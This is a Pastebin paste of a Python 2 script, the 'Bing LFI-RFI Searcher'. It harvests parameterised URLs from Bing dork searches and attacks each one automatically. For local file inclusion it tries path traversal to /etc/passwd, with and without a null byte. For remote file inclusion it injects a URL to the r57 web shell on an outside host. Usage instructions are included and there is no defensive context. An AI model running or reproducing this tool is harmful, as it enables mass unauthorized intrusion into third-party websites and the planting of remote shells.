Pain_R

Bing LFI / RFI Scanner

Mar 16th, 2014
659
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.38 KB | None | 0 0
  1. ##################################################
  2. # Bing LFI-RFI Searcher
  3. # Coded by Miyachung
  4. # Janissaries.Org
  5. ##################################################
  6. import threading
  7. import urllib2,urllib,socket
  8. import re
  9. import time
  10. import sys
  11. socket.setdefaulttimeout(5)
  12. def dorker(url,limit,shell):
  13.         try:
  14.               regex = re.compile("h3><a href=\"(.*?)\" h=")
  15.               path   = "../../../../../../../../../../../../../../etc/passwd"
  16.               pathn  = "../../../../../../../../../../../../../../etc/passwd%00"
  17.               conn = urllib2.urlopen(url)
  18.               data = conn.read()
  19.               links= regex.findall(data)
  20.               for link in links:
  21.                   link = link.strip()
  22.                   if re.search("=",link) and link.find("youtube") == -1 and link.find("forum") == -1 and link.find("google") == -1 and link.find("viewtopic") == -1 and link.find("showthread") == -1 and link.find("blog") == -1 and link.find("yahoo") == -1:
  23.                       link = link.split('=')
  24.                       link = link[0]+"="
  25.                       check= urllib2.urlopen(link+path,None,3).read()
  26.                       if re.search("root:x",check):
  27.                         a =  "#########################################################\r\n"
  28.                         a+= "[+]"+link+" /etc/passwd readed without null byte\r\n"
  29.                         a+= "[+]read -> "+link+path+"\r\n"
  30.                         a+= "[+]coded by miyachung\r\n"
  31.                         print a + "#########################################################"
  32.                         kaydet(a)
  33.                       else:
  34.                         check = urllib2.urlopen(link+pathn,None,3).read()
  35.                         if re.search("root:x",check):
  36.                             a = "#########################################################\r\n"
  37.                             a += "[+]"+link+" /etc/passwd readed with null byte!\r\n"
  38.                             a += "[+]read -> "+link+pathn+"\r\n"
  39.                             a += "[+]coded by miyachung\r\n"
  40.                             print a + "#########################################################"
  41.                             kaydet(a)
  42.                         else:
  43.                             print link+" hasn't got lfi vulnerability"
  44.                             checkrfi = urllib2.urlopen(link+shell,None,3).read()
  45.                             if re.search("safe_mode",checkrfi):
  46.                                 a = "#########################################################\r\n"
  47.                                 a+= "[+]remote file include vulnerability works!\r\n"
  48.                                 a+= "[+]shell -> "+link+shell+"\r\n"
  49.                                 a+= "[+]coded by miyachung\r\n"
  50.                                 print a + "#########################################################"
  51.                                 kaydet(a)
  52.                             else:
  53.                                 print link+" hasn't got rfi vulnerability"
  54.         except urllib2.URLError:
  55.             print link+" urlerror"
  56.             pass
  57.         except urllib2.HTTPError:
  58.             print link+" httperror"
  59.             pass
  60.         except socket.timeout:
  61.             print link+" timeout"
  62.             pass
  63.         except:
  64.             pass
  65.  
  66.         limit.release()
  67. def kaydet(yazi):
  68.     ac = open('results.txt','ab')
  69.     ac.write(yazi)
  70.     ac.close()
  71. class Exploiter:
  72.     def main(self,dorks,thread,shell):
  73.         for dork in open(dorks):
  74.             dork  = dork.strip()
  75.             i     = 1
  76.             limit = threading.BoundedSemaphore(value=thread)
  77.             tasks = []
  78.             while i <= 451:
  79.                   limit.acquire()
  80.                   th = threading.Thread(target=dorker,args=("http://www.bing.com/search?q="+urllib.quote_plus(dork)+"&count=50&first="+str(i)+"&FORM=PERE",limit,shell,))
  81.                   tasks.append(th)
  82.                   th.start()
  83.                   i += 50
  84.             for t in tasks:
  85.                 t.join()
  86. try:
  87.     exploit = Exploiter()
  88.     exploit.main(sys.argv[1],int(sys.argv[2]),"http://www.xfocus.net/tools/200608/r57.txt?")
  89. except IndexError:
  90.     print "# Bing LFI-RFI Searcher"
  91.     print "# Coded by Miyachung"
  92.     print "# Janissaries.Org"
  93.     print "Usage: python searcher.py DORKLISTFILE THREAD"
  94.     print "Examp: python searcher.py dorks.txt 10"
Advertisement
Add Comment
Please, Sign In to add comment